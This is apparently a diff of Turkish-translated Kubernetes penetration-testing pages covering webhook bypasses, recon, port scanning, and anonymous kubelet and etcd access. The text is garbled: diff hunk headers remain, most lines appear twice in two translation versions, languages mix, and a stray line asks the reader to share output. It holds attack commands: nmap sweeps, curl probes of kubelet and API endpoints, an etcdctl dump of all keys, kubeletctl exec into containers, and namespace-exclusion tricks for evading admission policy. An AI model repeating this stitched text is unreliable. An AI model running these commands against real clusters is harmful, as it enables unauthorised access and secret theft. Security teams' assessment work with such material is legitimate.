## Kubernetes ValidatingWebhookConfiguration
The `ValidatingWebhookConfiguration` object allows you to define webhooks that are called when resources are created or updated. These webhooks can be used to validate requests before they are persisted in the cluster.
A common abuse case is to register a webhook that denies or modifies requests for specific resources, which can be used to block defenders or alter workloads.
Example:
```yaml
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingWebhookConfiguration
metadata:
name: example-webhook
webhooks:
- name: validate.example.com
clientConfig:
service:
name: webhook-service
namespace: default
path: /validate
rules:
- apiGroups: ["*"]
apiVersions: ["*"]
operations: ["CREATE", "UPDATE"]
resources: ["pods"]
```
If you can create or modify a `ValidatingWebhookConfiguration`, you may be able to intercept admission requests and enforce arbitrary policy decisions.
Related: `MutatingWebhookConfiguration`
Lütfen aşağıdaki çıktıyı paylaşın.
```yaml
namespaceSelector:
matchExpressions:
@@ -138,22 +130,22 @@ values:
- kube-system
- MYAPP
```
Here, `kubernetes.io/metadata.name` namespace adını belirten etikete refers. `values` listesindeki isimlere sahip namespaces policyden hariç tutulacaktır:
Burada, `kubernetes.io/metadata.name`, namespace adı etiketini ifade eder. `values` listesindeki adlara sahip namespaceler policy kapsamı dışında bırakılacaktır:
Namespaces varlığını kontrol edin. Bazen automation veya misconfiguration nedeniyle bazı namespaces oluşturulmamış olabilir. Eğer namespace oluşturma izniniz varsa, `values` listesinde bulunan bir isimle bir namespace oluşturabilirsiniz ve policies yeni namespaceinize uygulanmaz.
Namespace varlığını kontrol edin. Bazen otomasyon veya yanlış yapılandırma nedeniyle bazı namespaceler oluşturulmamış olabilir. Eğer namespace oluşturma izniniz varsa, `values` listesindeki bir ada sahip bir namespace oluşturabilir ve policylerin yeni namespaceinize uygulanmamasını sağlayabilirsiniz.
Bu attack’ın amacı, operator kısıtlamalarını bypass etmek ve ardından diğer techniques ile yetkilerinizi yükseltmek için VWC içindeki **misconfiguration**’ı exploit etmektir
Bu attack’ın amacı, operator kısıtlamalarını atlatmak ve ardından diğer tekniklerle ayrıcalıklarınızı yükseltmek için VWC içindeki **misconfiguration**’ı istismar etmektir
Diğer yaygın bypass veya abuse patterns:
Diğer yaygın bypass veya abuse kalıpları:
- Kullanıcıların kendi objectslerine opt-out etiketi eklemesine izin veren bir `objectSelector`.
- Özellikle webhook Servicein endpointleri yoksa veya networking güvenilmezse, security-critical validation üzerinde `failurePolicy: Ignore`.
- Kullanıcılar, gruplar, service accounts, namespaces veya intended olandan daha geniş roles için policy engine exceptions.
- Workload controller templates, `pods/ephemeralcontainers`, `pods/exec`, custom resources veya update operations için eksik coverage.
- `validatingwebhookconfigurations`, `mutatingwebhookconfigurations`, Gatekeeper constraints, Kyverno policies veya exception resources üzerinde write access.
- Validationdan önce containers enjekte eden, images değiştiren, secrets mount eden, tolerations ekleyen veya service account seçimini değiştiren malicious bir mutating webhook.
- Kullanıcıların kendi objectlerine opt-out label eklemesine izin veren bir `objectSelector`.
- Güvenlik açısından kritik validation üzerinde `failurePolicy: Ignore`, özellikle webhook Servicein endpointleri yoksa veya networking güvenilir değilse.
- Kullanıcılar, gruplar, service accountlar, namespaceler veya roleler için amaçlanandan daha geniş policy engine exceptions.
- Workload controller templateleri, `pods/ephemeralcontainers`, `pods/exec`, custom resources veya update işlemleri için eksik coverage.
- `validatingwebhookconfigurations`, `mutatingwebhookconfigurations`, Gatekeeper constraints, Kyverno policyleri veya exception resourceları üzerinde yazma erişimi.
- Validationdan önce container enjekte eden, imageları değiştiren, secrets mount eden, toleration ekleyen veya service account seçimini değiştiren malicious bir mutating webhook.
Unutmayın, admission yalnızca API server admission chaininden geçen requestsi korur. Static Pods, node-local runtime socket access, direct kubelet abuse ve direct etcd access farklı trust pathlerdir ve ayrı hardening ile monitoring gerektirir.
Unutmayın, admission yalnızca API server admission chaininden geçen istekleri korur. Static Podlar, node-local runtime socket erişimi, doğrudan kubelet abuse ve doğrudan etcd erişimi farklı trust pathlerdir ve ayrı hardening ile monitoring gerektirir.
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
@@ -166,6 +158,8 @@ abusing-roles-clusterroles-in-kubernetes/
- [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/)
- [https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/](https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/)
- [https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/)
- [https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/)
- [https://kubernetes.io/docs/reference/using-api/cel/](https://kubernetes.io/docs/reference/using-api/cel/)
@@ -2,33 +2,33 @@
{{#include ../../../banners/hacktricks-training.md}}
Kubernetes, **genellikle Internete açık** ya da **bir podu ele geçirdikten sonra iç network içinde** karşılaşabileceğiniz birkaç **özel network service** kullanır.
Kubernetes çeşitli **özel network services** kullanır; bunları **Internete açık** olarak veya **bir podu compromise ettikten sonra internal network içinde** bulabilirsiniz.
## OSINT ile exposed podları bulma
Bir yöntem, kubernetes ile ilgili subdomainleri bulmak için [crt.sh](https://crt.sh) üzerinde `Identity LIKE "k8s.%.com"` araması yapmak olabilir. Başka bir yöntem de github içinde `"k8s.%.com"` arayıp bu stringi içeren **YAML dosyaları** bulmaktır.
Bir yol, kubernetes ile ilişkili subdomainleri bulmak için [crt.sh](https://crt.sh) inde `Identity LIKE "k8s.%.com"` araması yapmak olabilir. Başka bir yol da github içinde `"k8s.%.com"` aramak ve bu stringi içeren **YAML files** aramaktır.
Tarama yapmadan önce ilişkilendirmek için faydalı dış recon sinyalleri:
Scanning öncesi korelasyon için faydalı external recon sinyalleri:
- `k8s`, `kube`, `api`, `apiserver`, `eks`, `gke`, `aks`, `cluster`, `ingress`, `argocd`, `grafana`, `prometheus`, `harbor`, `registry`, `dashboard`, `dev`, `stage` veya bölge adlarını içeren DNS ve certificate transparency adları.
- Açıkta bir application veya platform UI’ını bir clustera bağlayabilen cloud load balancer adları, CNAMEler, tagler ve provider hostnameleri.
- Public repositoryler, CI logları, Helm values, Terraform state, render edilmiş manifestler, container imageları ve kubeconfig, API server URLleri, namespaceler, service accountlar, `type: LoadBalancer`, `type: NodePort`, Ingress hostlar, Gateway listenerları veya dashboard ayarları sızdıran dokümantasyon.
- Cloud credentials kapsam içindeyse, managed Kubernetes inventory: EKS endpoint public/private access ve public CIDRlar, GKE public/private control-plane ayarları ve authorized networks, AKS private cluster/API server authorized IP ayarları.
- Cluster çevresindeki açık platform araçları; örneğin Argo CD, Prometheus, Grafana, Harbor, registryler, CI/CD dashboardları, service mesh dashboardları ve ingress-controller admin veya metrics endpointleri.
- `k8s`, `kube`, `api`, `apiserver`, `eks`, `gke`, `aks`, `cluster`, `ingress`, `argocd`, `grafana`, `prometheus`, `harbor`, `registry`, `dashboard`, `dev`, `stage` veya region adlarını içeren DNS ve certificate transparency isimleri.
- Bir exposed application veya platform UI’ını bir clustera bağlayabilen cloud load balancer isimleri, CNAMEler, tags ve provider hostnames.
- Public repositories, CI logs, Helm values, Terraform state, rendered manifests, container images ve kubeconfigs, API server URLs, namespaces, service accounts, `type: LoadBalancer`, `type: NodePort`, Ingress hosts, Gateway listeners veya dashboard ayarlarını leak eden documentation.
- Scope içinde cloud credentials varsa managed Kubernetes inventory: EKS endpoint public/private access ve public CIDRs, GKE public/private control-plane ayarları ve authorized networks, AKS private cluster/API server authorized IP ayarları.
- Cluster etrafındaki exposed platform araçları; Argo CD, Prometheus, Grafana, Harbor, registries, CI/CD dashboards, service mesh dashboards ve ingress-controller admin veya metrics endpoints.
Bunları attribution ve önceliklendirme ipuçları olarak değerlendirin. Public bir Ingress application birçok clusterda normaldir; buna karşılık exposed kubelet, etcd, dashboard, CI/CD deploy control veya sızdırılmış kubeconfig materyali çok daha yüksek önceliklendirilmelidir.
Bunları attribution ve önceliklendirme ipuçları olarak değerlendirin. Public bir Ingress application birçok clusterda normaldir; buna karşın exposed kubelet, etcd, dashboard, CI/CD deploy control veya leak olmuş kubeconfig materyali çok daha yüksek önceliklendirilmelidir.
## Kubernetes Hizmetleri Nasıl Expose Eder
Bunları bulmak için Kubernetesin hizmetleri **nasıl public olarak expose edebildiğini** anlamanız faydalı olabilir:
Bunları bulmak için Kubernetesin servicesi nasıl **public olarak expose edebildiğini** anlamak faydalı olabilir:
{{#ref}}
../exposing-services-in-kubernetes.md
{{#endref}}
## Port taraması ile Exposed podları bulma
## Port scanning ile Exposed podları bulma
Bir Kubernetes cluster’ında aşağıdaki portlar açık olabilir:
Aşağıdaki portlar bir Kubernetes cluster’ında açık olabilir:
| Port | Process | Description |
| --------------- | -------------- | ---------------------------------------------------------------------- |
@@ -38,13 +38,13 @@ Bir Kubernetes cluster’ında aşağıdaki portlar açık olabilir:
| 4194/TCP | cAdvisor | Container metrics |
| 6443/TCP | kube-apiserver | Kubernetes API port |
| 8443/TCP | kube-apiserver | Minikube API port |
| 8080/TCP | kube-apiserver | Güvensiz API portu |
| 10250/TCP | kubelet | Full mode erişimine izin veren HTTPS API |
| 10255/TCP | kubelet | Kimlik doğrulamasız salt-okunur HTTP portu: pods, çalışan pods ve node durumu |
| 8080/TCP | kube-apiserver | Insecure API port |
| 10250/TCP | kubelet | Full mode access sağlayan HTTPS API |
| 10255/TCP | kubelet | Unauthenticated read-only HTTP port: pods, running pods ve node state |
| 10256/TCP | kube-proxy | Kube Proxy health check server |
| 9099/TCP | calico-felix | Calico için health check server |
| 6782-4/TCP | weave | Metrics ve endpoints |
| 30000-32767/TCP | NodePort | services için proxy |
| 30000-32767/TCP | NodePort | servicese proxy |
| 44134/TCP | Tiller | Helm service listening |
### Nmap
@@ -55,13 +55,13 @@ nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-678
Bu, yöneticilerin genellikle **`kubectl`** aracıyla iletişim kurduğu **API Kubernetes service**idir.
**Yaygın portlar: 6443 ve 443**, ayrıca minikubede 8443 ve insecure olarak 8080.
**Yaygın portlar: 6443 ve 443**, ayrıca minikubeda 8443 ve insecure olarak 8080.
```bash
curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
curl -k https://<IP Address>:(8|6)443/api/v1
```
**Bu servise konuşarak hassas verileri nasıl elde edeceğinizi ve hassas eylemleri nasıl gerçekleştireceğinizi öğrenmek için aşağıdaki sayfayı kontrol edin:**
**Bu servisle konuşarak hassas verileri nasıl elde edeceğinizi ve hassas lemleri nasıl gerçekleştireceğinizi öğrenmek için aşağıdaki sayfayı kontrol edin:**
{{#ref}}
../kubernetes-enumeration.md
@@ -69,18 +69,18 @@ curl -k https://<IP Address>:(8|6)443/api/v1
### Kubelet API
Bu servis **kümedeki her node üzerinde çalışır**. **Node** içindeki pod'ları **kontrol edecek** olan servistir. **kube-apiserver** ile konuşur.
Bu servis kümenin her **node**'unda **çalışır**. Bu, **node** içindeki **pods**'ları **kontrol** edecek servistir. **kube-apiserver** ile iletişim kurar.
Eğer bu servisin dışa açık olduğunu bulursanız, bir **kimlik doğrulamasız RCE** bulmuş olabilirsiniz.
Bu servisin açıkta olduğunu bulursanız, **kimlik doğrulamasız RCE** bulmuş olabilirsiniz.
#### Kubelet API
```bash
curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods
```
Eğer yanıt `Unauthorized` ise kimlik doğrulama gerekir.
Eğer yanıt `Unauthorized` ise bu, kimlik doğrulama gerektirir.
Eğer node'ları listeleyebiliyorsanız, kubelets endpoint'lerinin listesini şu şekilde alabilirsiniz:
Eğer nodes listesini alabiliyorsan, kubelets endpoints listesini şu şekilde alabilirsin:
```bash
kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do
ip=$(echo $node | awk '{print $1}')
@@ -104,25 +104,25 @@ etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```bash
helm --host tiller-deploy.kube-system:44134 version
```
Bu service'i Kubernetes içinde privilege escalation yapmak için abuse edebilirsiniz:
Bu service'i Kubernetes içinde yetki yükseltmek için abuse edebilirsiniz:
### cAdvisor
Metrics toplamak için kullanışlı bir service.
Metrics toplamak için useful olan service.
```bash
curl -k https://<IP Address>:4194
```
### NodePort
Bir port tüm nodelarda bir **NodePort** aracılığıyla expose edildiğinde, aynı port tüm nodelarda açılır ve trafiği belirtilen **Service**e proxify eder. Varsayılan olarak bu port **30000-32767** aralığında olur. Bu yüzden yeni kontrol edilmemiş services bu portlar üzerinden erişilebilir olabilir.
Bir port, tüm node'larda bir **NodePort** aracılığıyla expose edildiğinde, aynı port tüm node'larda açılır ve trafiği belirtilen **Service** içine proxify eder. Varsayılan olarak bu port **30000-32767** aralığında olacaktır. Bu yüzden yeni kontrol edilmemiş services bu portlar üzerinden erişilebilir olabilir.
```bash
sudo nmap -sS -p 30000-32767 <IP>
```
### Service mesh ve proxy surfaces
### Service mesh ve proxy yüzeyleri
**Istio, Linkerd, Cilium service mesh veya Envoy-based gateways** kullanan cluster'lar, enumerate edilecek başka bir service layer ekler. Bir mesh; mTLS, workload identity, L7 routing, authorization policy, telemetry ve gateway/egress controls sağlayabilir, ancak yalnızca gerçekten mesh'e kayıtlı ve mesh tarafından intercepted edilen trafi korur.
**Istio, Linkerd, Cilium service mesh veya Envoy-based gateways** kullanan cluster'lar, enumerate edilecek başka bir service layer ekler. Bir mesh, mTLS, workload identity, L7 routing, authorization policy, telemetry ve gateway/egress controls sağlayabilir, ancak yalnızca gerçekten mesh tarafından enroll edilen ve intercepted edilen traffic'i korur.
Kubernetes access üzerinden faydalı kontroller:
Kubernetes access ile yapılabilecek useful checks:
```bash
kubectl get ns --show-labels | egrep 'istio|linkerd|mesh|cilium'
kubectl get crd | egrep 'istio.io|linkerd.io|gateway.networking.k8s.io|cilium.io'
@@ -132,28 +132,38 @@ kubectl get svc -A | egrep 'istio|envoy|linkerd|kiali|jaeger|prometheus|grafana|
```
Review:
- Injectiondan opt out etmiş Namespaces veya workloads, hâlâ proxy olmadan çalışanlar ya da injection etkinleştirilmeden önce oluşturulanlar.
- mTLS mode. Permissive migration modes unmeshed kaynaklardan hâlâ plaintext kabul edebilir.
- Istio `PeerAuthentication`, `AuthorizationPolicy`, `RequestAuthentication`, gateways, waypoints, ve egress resources.
- Linkerd policy resources, identity, Server/authorization objects, ve exposed `linkerd-viz`, tap, veya metrics surfaces.
- Cilium service mesh ve Gateway API resources, Hubble visibility, Cilium policies, ve Envoy integration points.
- Envoy admin, config dump, stats, metrics, tracing, dashboard, ve debug endpoints. Bunlar routeları, upstreamleri, certificates, identity, ve traffic statei aşırı geniş biçimde expose edilirse leak edebilir.
- Injection'dan opt-out yapan Namespace'ler veya workloads, hala proxy olmadan çalışıyorsa ya da injection etkinleştirilmeden önce oluşturulduysa.
- mTLS mode. Permissive migration modes, unmeshed kaynaklardan hala plaintext kabul edebilir.
- Istio `PeerAuthentication`, `AuthorizationPolicy`, `RequestAuthentication`, gateways, waypoints ve egress resources.
- Linkerd policy resources, identity, Server/authorization objects ve exposed `linkerd-viz`, tap veya metrics surfaces.
- Cilium service mesh ve Gateway API resources, Hubble visibility, Cilium policies ve Envoy integration points.
- Envoy admin, config dump, stats, metrics, tracing, dashboard ve debug endpoints. Bunlar çok geniş şekilde expose edilirse routes, upstreams, certificates, identity ve traffic state leak edebilir.
Service meshi Kubernetes RBAC veya NetworkPolicies için bir replacement olarak değerlendirmeyin. Bir mesh policy bir HTTP requesti engelleyebilir; ancak unmeshed bir Pod, atlanmış port, doğrudan Pod IP pathi, gateway, egress proxy, veya eksik bir NetworkPolicy yine de pratik bir route bırakabilir.
Service mesh'i Kubernetes RBAC veya NetworkPolicies için bir replacement olarak değerlendirmeyin. Bir mesh policy bir HTTP request'i block edebilir; ancak unmeshed bir Pod, skipped bir port, direct Pod IP path, gateway, egress proxy veya missing NetworkPolicy pratikte hala bir route bırakabilir.
## Vulnerable Misconfigurations
### Kube-apiserver Anonymous Access
Anonymous access to **kube-apiserver API endpoints is not allowed**. But you could check some endpoints:
Anonymous access, **kube-apiserver resource APIs için izinli olmamalıdır**. `/livez`, `/readyz` ve `/healthz` gibi health endpoints bilerek reachable olabilir; özellikle API server `AuthenticationConfiguration` kullanarak anonymous requests'i belirli paths ile sınırlıyorsa. Health veya version responses'u reachability evidence olarak değerlendirin; kritik sorun, valid credentials olmadan namespaces, Secrets, Pods, RBAC objects, metrics, logs veya proxy subresources gibi gerçek resource APIs için `200` response alınmasıdır.
![Kubernetes API server anonymous access output listing exposed API paths](https://www.cyberark.com/wp-content/uploads/2019/09/Kube-Pen-2-fig-5.png)
Useful checks:
```bash
APISERVER='https://<api-server>:6443'
curl -sk -o /dev/null -w 'livez=%{http_code}\n' "$APISERVER/livez"
curl -sk -o /dev/null -w 'readyz=%{http_code}\n' "$APISERVER/readyz"
curl -sk -o /dev/null -w 'namespaces=%{http_code}\n' "$APISERVER/api/v1/namespaces"
curl -sk -o /dev/null -w 'clusterroles=%{http_code}\n' "$APISERVER/apis/rbac.authorization.k8s.io/v1/clusterroles"
```
Eğer resource APIleri `403` döndürüyorsa, API server isteği `system:anonymous` olarak sınıflandırmış olabilir ancak authorization bunu engellemiştir. Eğer resource APIleri credentials olmadan `200` döndürüyorsa, `system:anonymous` veya `system:unauthenticated` için RoleBindings ya da ClusterRoleBindings, permissive authorizer-chain yapılandırması veya front-door authentication hatası olup olmadığını kontrol edin.
### **Checking for ETCD Anonymous Access**
ETCD cluster secrets, configuration files ve daha fazla **sensitive data** saklar. **Default** olarak, ETCDye **anonymously** erişilemez, ama yine de kontrol etmek her zaman iyidir.
ETCD, cluster secrets, configuration files ve daha fazla **sensitive data** saklar. **By default**, ETCDye **anonim** olarak erişilemez, ancak yine de her zaman kontrol etmek iyidir.
If the ETCD can be accessed anonymously, you may need to **use the** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**. The following command will get all the keys stored:
ETCDye anonim olarak erişilebiliyorsa, [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**unu kullanmanız gerekebilir. Aşağıdaki command, depolanan tüm keysi alacaktır:
```bash
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```
@@ -161,15 +171,15 @@ etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
[**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) **varsayılan olarak anonim erişimin** servise **izin verildiğini** açıklar:
> Kubelet serverına anonim istekleri etkinleştirir. Başka bir authentication method tarafından reddedilmeyen istekler anonim istekler olarak işlenir. Anonim isteklerin `system:anonymous` kullanıcı adı ve `system:unauthenticated` grup adı vardır
> Kubelet servera anonim requestsi etkinleştirir. Başka bir authentication yöntemi tarafından reddedilmeyen requests, anonim requests olarak değerlendirilir. Anonim requestsin usernamei `system:anonymous`, group namei ise `system:unauthenticated` olur
**Kubelet APIsinin authentication ve authorization’ının nasıl çalıştığını** daha iyi anlamak için bu sayfayı kontrol edin:
**Kubelet APInin authentication ve authorization’ının nasıl çalıştığını** daha iyi anlamak için bu sayfayı kontrol et:
{{#ref}}
kubelet-authentication-and-authorization.md
{{#endref}}
**Kubelet** servisi **API belgelenmemiştir**, ancak source code burada bulunabilir ve exposed endpointsi bulmak şu kadar kolaydır: **çalıştırmak**:
**Kubelet** servisi **APIsi documented değildir**, ancak source code burada bulunabilir ve exposed endpointsi bulmak **çalıştırmak** kadar kolaydır:
```bash
curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/'
@@ -181,30 +191,30 @@ Path("/portForward")
Path("/containerLogs")
Path("/runningpods/").
```
Hepsi ilginç geliyor.
Hepsi ilginç görünüyor.
Kubelets ve endpoint'leriyle etkileşim kurmak için [**Kubeletctl**](https://github.com/cyberark/kubeletctl) aracını kullanabilirsiniz.
Kubelet'lerle ve onların endpoint'leriyle etkileşim kurmak için [**Kubeletctl**](https://github.com/cyberark/kubeletctl) tool'unu kullanabilirsiniz.
#### /pods
Bu endpoint, pod'ları ve onların container'larını listeler:
Bu endpoint, pods ve onların container'larını listeler:
```bash
kubeletctl pods
```
#### /exec
Bu endpoint, herhangi bir container içinde kodu çok kolay bir şekilde execute etmeye izin verir:
Bu endpoint, herhangi bir container içinde code çalıştırmayı çok kolay şekilde sağlar:
```bash
kubeletctl exec [command]
```
> [!NOTE]
> Bu saldırıyı önlemek için _**kubelet**_ servisi `--anonymous-auth false` ile çalıştırılmalı ve servis ağ seviyesinde ayrıştırılmalıdır.
### **Kubelet (Read Only Port) Bilgi Açığının Kontrol Edilmesi**
### **Kubelet (Read Only Port) Bilgi Açığa Çıkarmasının Kontrol Edilmesi**
Bir **kubelet read-only port** açığa çıktığında, yetkisiz tarafların API'den bilgi alması mümkün hale gelir. Bu portun açığa çıkması, çeşitli **cluster configuration** öğelerinin ifşasına yol açabilir. **pod names, internal files locations ve diğer configurations** dahil olmak üzere bilgiler kritik olmasa da, yine de bunların açığa çıkması bir güvenlik riski oluşturur ve bundan kaçınılmalıdır.
Bir **kubelet read-only port** açığa çıktığında, yetkisiz tarafların APIden bilgi alması mümkün hale gelir. Bu portun açığa çıkması, çeşitli **cluster configuration elements**in ifşasına yol açabilir. **pod isimleri, iç dosyaların konumları ve diğer konfigürasyonlar** gibi bilgiler kritik olmasa da, bunların açığa çıkması yine de bir güvenlik riski oluşturur ve önlenmelidir.
Bu zafiyetin nasıl sömürülebileceğine bir örnek, uzak bir saldırganın belirli bir URL'ye erişmesidir. `http://<external-IP>:10255/pods` adresine giderek, saldırgan kubelet'ten potansiyel olarak hassas bilgi alabilir:
Bu zafiyetin nasıl istismar edilebileceğine dair bir örnek, uzaktaki bir saldırganın belirli bir URLye erişmesini içerir. `http://<external-IP>:10255/pods` adresine giderek, saldırgan kubeletten hassas bilgileri potansiyel olarak elde edebilir:
![Kubelet read-only port response exposing pod information](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png)
@@ -1,4 +1,4 @@
# Kubelet Kimlik Doğrulama & Yetkilendirme
# Kubelet Authentication & Authorization
{{#include ../../../banners/hacktricks-training.md}}
@@ -6,20 +6,20 @@
[**Dokümanlardan:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
Varsayılan olarak, diğer yapılandırılmış kimlik doğrulama yöntemleri tarafından reddedilmeyen kubelet'in HTTPS uç noktasına yapılan istekler anonim istekler olarak muamele görür ve **kullanıcı adı `system:anonymous`** ve **grup `system:unauthenticated`** verilir.
Varsayılan olarak, kubelet'in HTTPS endpoint'ine gelen ve diğer yapılandırılmış authentication yöntemleri tarafından reddedilmeyen istekler anonymous istekler olarak ele alınır ve **`system:anonymous` kullanıcı adı** ile **`system:unauthenticated` grup** verilir.
Kimlik doğrulama için **3** **yöntem** şunlardır:
**3** authentication **method** şunlardır:
- **Anonymous** (varsayılan): Parametreyi **`--anonymous-auth=true`** olarak ayarlayın veya yapılandırmayı kullanın:
- **Anonymous** (default): **`--anonymous-auth=true`** parametresini veya config'i kullanın:
```json
"authentication": {
"anonymous": {
"enabled": true
},
```
- **Webhook**: Bu, kubectl **API bearer tokens**'ı yetkilendirme için **etkinleştirecek** (geçerli herhangi bir token geçerli sayılacaktır). Bunu şu şekilde etkinleştirin:
- API sunucusunda `authentication.k8s.io/v1beta1` API grubunun etkin olduğundan emin olun
- kubelet'i **`--authentication-token-webhook`** ve **`--kubeconfig`** bayraklarıyla başlatın veya aşağıdaki ayarı kullanın:
- **Webhook**: Bu, kubectl **API bearer tokens** için authorization’ı **enable** eder (geçerli herhangi bir token valid olacaktır). Şu şekilde allow edin:
- `authentication.k8s.io/v1beta1` API groupunun API server içinde enabled olduğundan emin olun
- kubeleti **`--authentication-token-webhook`** ve **`--kubeconfig`** flagleriyle başlatın veya aşağıdaki settingi kullanın:
```json
"authentication": {
"webhook": {
@@ -28,11 +28,11 @@ Kimlik doğrulama için **3** **yöntem** şunlardır:
},
```
> [!NOTE]
> kubelet, yapılandırılmış API server üzerinde **`TokenReview` API** çağrısı yapar ve bearer token'lerden **kullanıcı bilgilerini belirler**
- **X509 client certificates:** X509 client certs ile kimlik doğrulamasına izin verir
- Daha fazla ayrıntı için [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs)
- kubelet'i `--client-ca-file` bayrağı ile başlatın; istemci sertifikalarını doğrulamak için bir CA paketi sağlayın. Veya yapılandırma ile:
> Kubelet, bearer tokenlardan **kullanıcı bilgilerini belirlemek** için yapılandırılmış API server üzerinde **`TokenReview` API** çağrısı yapar
- **X509 client certificates:** X509 client certs ile authenticate etmeye izin verir
- Daha fazla ayrıntı için [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) bölümüne bakın
- Kubelet'i `--client-ca-file` flag'i ile başlatın ve client certificates'ları doğrulamak için bir CA bundle sağlayın. Ya da config ile:
```json
"authentication": {
"x509": {
@@ -40,16 +40,16 @@ Kimlik doğrulama için **3** **yöntem** şunlardır:
}
}
```
## Kubelet Yetkilendirmesi <a href="#kubelet-authentication" id="kubelet-authentication"></a>
## Kubelet Authorization <a href="#kubelet-authentication" id="kubelet-authentication"></a>
Başarıyla kimlik doğrulanan (anonim bir istek dahil) her istek **daha sonra yetkilendirilir**. Varsayılan yetkilendirme modu **`AlwaysAllow`**'dır; bu da **tüm isteklere izin verir**.
Başarıyla authenticate edilen herhangi bir request (anonymous bir request dahil) **sonrasında authorize edilir**. **Default** authorization modu **`AlwaysAllow`**'dur ve bu mod **tüm request'lere izin verir**.
Ancak diğer olası değer **`webhook`** (dışarıda **çoğunlukla bununla karşılaşacaksınız**). Bu mod, bir eyleme izin verip vermemeye karar vermek için **kimliği doğrulanmış kullanıcının izinlerini denetler**.
Ancak, diğer olası değer **`webhook`**'tur (ve dışarıda **çoğunlukla bunu bulacaksınız**). Bu mod, bir action'a izin vermek veya vermemek için **authenticated user'ın permissions**'larını kontrol eder.
> [!WARNING]
> Şunu unutmayın: **anonim kimlik doğrulama etkin olsa bile**, **anonim erişimin** herhangi bir eylemi gerçekleştirmek için **herhangi bir izni olmayabilir**.
> **anonymous authentication etkin olsa bile**, **anonymous access** herhangi bir action gerçekleştirmek için **hiçbir permission**'a sahip olmayabilir.
Webhook aracılığıyla yetkilendirme, **parametre `--authorization-mode=Webhook`** kullanılarak veya yapılandırma dosyasıyla şu şekilde yapılandırılabilir:
Webhook üzerinden authorization, **param `--authorization-mode=Webhook`** kullanılarak veya config file ile şu şekilde yapılandırılabilir:
```json
"authorization": {
"mode": "Webhook",
@@ -59,11 +59,11 @@ Webhook aracılığıyla yetkilendirme, **parametre `--authorization-mode=Webhoo
}
},
```
Kubelet, yapılandırılmış API sunucusunda **`SubjectAccessReview`** API'sini çağırarak her isteğin **yetkilendirilmiş** olup olmadığını **belirler.**
Kubelet, her bir isteğin **yetkilendirilmiş** olup olmadığını **belirlemek** için yapılandırılmış API server üzerinde **`SubjectAccessReview`** APIsini çağırır.
Kubelet, apiserver ile aynı [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) yaklaşımını kullanarak API isteklerini yetkilendirir:
Kubelet, API isteklerini apiserver ile aynı [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) yaklaşımını kullanarak yetkilendirir:
- **Eylem**
- **Action**
| HTTP verb | request verb |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
@@ -73,7 +73,7 @@ Kubelet, apiserver ile aynı [request attributes](https://kubernetes.io/docs/ref
| PATCH | patch |
| DELETE | delete (for individual resources), deletecollection (for collections) |
- Kubelet API ile konuşan **resource** her zaman **nodes**'tır ve **subresource**, gelen isteğin yolundan **belirlenir**:
- Kubelet api ile konuşan **resource** her zaman **nodes** olur ve **subresource**, gelen isteğin pathinden **belirlenir**:
| Kubelet API | resource | subresource |
| ------------ | -------- | ----------- |
@@ -81,23 +81,38 @@ Kubelet, apiserver ile aynı [request attributes](https://kubernetes.io/docs/ref
| /metrics/\* | nodes | metrics |
| /logs/\* | nodes | log |
| /spec/\* | nodes | spec |
| /checkpoint/\* | nodes | checkpoint |
| _all others_ | nodes | proxy |
> [!NOTE]
> WebSocket-based `/exec`, `/run`, `/attach`, and `/portforward` fall into the default **proxy** subresource and are authorized using the initial HTTP **GET** handshake. A principal with only `nodes/proxy` **GET** can still exec containers if it connects directly to `https://<node_ip>:10250` over WebSockets. See the [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) for details.
Modern clusterlarda, ayrıntılı kubelet yetkilendirmesi varsayılan olarak etkinleştirilmiştir. Kubernetes v1.36 bunu stabil hale getirdi: kubelet, geriye dönük uyumluluk için `nodes/proxy`ye geri düşmeden önce `/pods`, `/runningPods`, `/healthz` ve `/configz` gibi pathler için daha spesifik subresourceları kontrol eder.
Örneğin, aşağıdaki istek kubelet'in pod bilgilerine izin olmadan erişmeye çalıştı:
| Kubelet API | preferred subresource | fallback |
| ----------- | --------------------- | -------- |
| /pods | nodes/pods | nodes/proxy |
| /runningPods/ | nodes/pods | nodes/proxy |
| /healthz | nodes/healthz | nodes/proxy |
| /configz | nodes/configz | nodes/proxy |
